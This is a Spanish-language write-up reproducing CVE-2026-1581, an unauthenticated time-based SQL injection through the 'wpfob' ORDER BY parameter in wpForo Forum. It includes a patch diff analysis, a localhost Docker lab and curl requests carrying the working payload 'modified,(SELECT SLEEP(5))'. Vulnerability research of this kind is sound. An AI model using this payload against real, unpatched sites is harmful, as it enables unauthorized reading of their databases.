
Reproduce CVE-2026-1581, una inyección SQL basada en tiempo no autenticada en wpForo Forum <=2.4.14, con un laboratorio Docker y PoC para demostrar la vulnerabilidad y verificar el parche.
| Campo | Detalle |
|---|
| ID CVE | CVE-2026-1581 |
| Plugin | wpForo Forum |
| Versiones Afectadas | <= 2.4.14 |
| Versión Corregida | 2.4.15 |
| Tipo de Vulnerabilidad | Inyección SQL Basada en Tiempo No Autenticada (ORDER BY) |
| Puntuación CVSS | 7.5 (Alta) |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
CVE-2026-1581 es una vulnerabilidad de Inyección SQL Basada en Tiempo No Autenticada en el plugin wpForo Forum (<= 2.4.14). El parámetro wpfob se utiliza en una cláusula ORDER BY con solo saneamiento de texto aplicado, lo que permite a un atacante no autenticado inyectar expresiones SQL arbitrarias y leer datos de la base de datos.
El proveedor corrigió esto en la versión 2.4.15 reemplazando sanitize_text_field() por wpforo_sanitize_orderby(), que aplica una lista blanca consciente del contexto.
Ejecutar solo en localhost + Docker Compose.
El PoC es una prueba de sincronización basada en tiempo para demostrar la diferencia entre las versiones vulnerable y corregida.
No utilizar contra ningún sistema sin autorización explícita.
Prueba de versión: La página /community/ carga /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14 (vulnerable) vs 2.4.15 (corregida).
Prueba de código: sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default)
Prueba de comportamiento: wpfob=modified,(SELECT SLEEP(5)) causa un retraso de ~5s en la versión vulnerable; la versión corregida responde cerca de la línea base.
El aviso CVE solo indica que se trata de una inyección SQL basada en tiempo a través del parámetro wpfob, corregida en 2.4.15. En el momento del análisis, no había ningún PoC público disponible.
Por lo tanto, este informe se construyó mediante comparación de código fuente entre 2.4.14 y 2.4.15, rastreando el parámetro desde la entrada HTTP a través del saneamiento hasta el punto donde se utiliza para construir la consulta SQL — con el fin de comprender la causa raíz y reproducir el problema.

wpfobComenzando con una búsqueda de wpfob en el código fuente, se encontró que la página Recientes toma el valor directamente de un parámetro GET y lo asigna como argumento orderby.

Vulnerable (2.4.14) — themes/classic/recent.php:
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
Corregido (2.4.15) — mismo archivo, saneador reemplazado:
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
¿Por qué centrarse en
recent.php? Porque es una ruta activable dondewpfobse asigna directamente a$args['orderby'].
ORDER BY ...Una vez que $args['orderby'] está establecido, fluye hacia el constructor de consultas de wpForo para construir la cláusula ORDER BY.
Concatenación de ORDER BY (vuln 2.4.14)
classes/Topics.php:

classes/Posts.php:

Explicación
sanitize_text_field() solo elimina/limpia la cadena — no aplica una lista blanca de nombres de columnas permitidos.orderby se concatena directamente en ORDER BY <orderby>, un atacante puede inyectar expresiones SQL arbitrarias en la posición de ORDER BY.recent.php32c32
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74c74
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo.php1036c1036
< $args['orderby'] = sanitize_text_field( $get['wpfob'] );
---
> $args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
1077c1077
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
1153c1153
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo_sanitize_orderby()La versión 2.4.15 introduce un saneador de lista blanca consciente del contexto que devuelve el valor predeterminado si la entrada no está en la lista permitida:

wp_vuln (WordPress + wpForo 2.4.14) → http://localhost:8081wp_patched (WordPress + wpForo 2.4.15) → http://localhost:8082db_vuln / db_patched (MariaDB)seed_vuln / seed_patched — utiliza wp-cli para instalar WordPress, instalar el plugin, crear la página /community/ con el shortcode [wpforo], configurar enlaces permanentes, generar .htaccess y crear artefactos de verificación.Al leer el código fuente, wpfob se utiliza explícitamente en la página recientes:
http://localhost:8081/community/recent/?view=openedhttp://localhost:8082/community/recent/?view=openedDebe existir al menos 1 tema y 1 publicación antes de probar.
ORDER BY, y no se observa ningún retraso — un falso negativo.Se requieren al menos 1 tema y 1 publicación.
curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \
"http://localhost:8081/community/recent/?view=opened"
curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \
"http://localhost:8082/community/recent/?view=opened"

curl -sS -L -o /dev/null -w "attack_vuln=%{time_total}\n" \
--get "http://localhost:8081/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
curl -sS -L -o /dev/null -w "attack_patched=%{time_total}\n" \
--get "http://localhost:8082/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
Esperado
attack_vuln ≈ baseline_vuln + ~5sattack_patched ≈ línea base (sin retraso)
8081 (vulnerable), 8082 (corregido)docker-compose.ymlscripts/seed-wp.shDesde la carpeta del proyecto:
docker compose up -d
Comprobar que ambas instancias son accesibles:
http://localhost:8081/community/http://localhost:8082/community/Y la página de recientes:
http://localhost:8081/community/recent/?view=openedhttp://localhost:8082/community/recent/?view=opened

Requerido para reproducibilidad y para prevenir falsos negativos.
# 1) Verificar recuentos (vulnerable)
docker compose run --rm --entrypoint sh seed_vuln -lc '
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
wp db query "SELECT COUNT(*) AS topics FROM ${PREFIX}wpforo_topics;" --allow-root
wp db query "SELECT COUNT(*) AS posts FROM ${PREFIX}wpforo_posts;" --allow-root
'
# 2) Insertar 1 tema y 1 publicación (vulnerable)
docker compose run --rm --entrypoint sh seed_vuln -lc '
set -eu
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
UID=$(wp user get admin --field=ID --allow-root)
FID=$(wp db query "SELECT forumid FROM ${PREFIX}wpforo_forums WHERE is_cat=0 ORDER BY forumid ASC LIMIT 1;" --skip-column-names --allow-root)
wp db query "INSERT INTO ${PREFIX}wpforo_topics (forumid, userid, title, slug, created, modified) VALUES (${FID}, ${UID}, \"Timing Test\", \"timing-test\", NOW(), NOW());" --allow-root
TID=$(wp db query "SELECT MAX(topicid) FROM ${PREFIX}wpforo_topics;" --skip-column-names --allow-root)
wp db query "INSERT INTO ${PREFIX}wpforo_posts (forumid, topicid, userid, title, body, created, modified, is_first_post) VALUES (${FID}, ${TID}, ${UID}, \"Timing Test\", \"Hello\", NOW(), NOW(), 1);" --allow-root
PID=$(wp db query "SELECT MAX(postid) FROM ${PREFIX}wpforo_posts;" --skip-column-names --allow-root)
wp db query "UPDATE ${PREFIX}wpforo_topics SET first_postid=${PID}, last_post=${PID}, posts=1, modified=NOW() WHERE topicid=${TID};" --allow-root
echo "seeded forumid=${FID} topicid=${TID} postid=${PID}"
'
Para la instancia corregida, reemplace seed_vuln por seed_patched.
Se recomienda usar un entorno virtual:
python3 -m venv .venv
source .venv/bin/activate
pip3 install -U pip
pip3 install -r requirements.txt
# vulnerable
python3 poc.py http://localhost:8081
# corregido
python3 poc.py http://localhost:8082

docker compose down -v